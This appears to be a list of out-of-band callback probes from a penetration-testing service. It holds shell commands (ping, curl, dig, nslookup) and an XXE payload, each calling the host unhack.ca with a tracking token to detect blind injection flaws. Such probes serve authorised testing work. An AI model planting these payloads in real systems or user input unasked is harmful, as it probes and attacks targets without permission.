$ ping -c1 -p 00684b5a02d88453222befb9b9f47200 unhack.ca
$ curl http://unhack.ca/p/684b5a02d88453222befb9b9f472
$ dig 684b5a02d88453222befb9b9f472 @unhack.ca
$ dig 684b5a02d88453222befb9b9f472.ns.unhack.ca
C:\> nslookup 684b5a02d88453222befb9b9f472 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/684b5a02d88453222befb9b9f472">]> <foo>&xxe;</foo>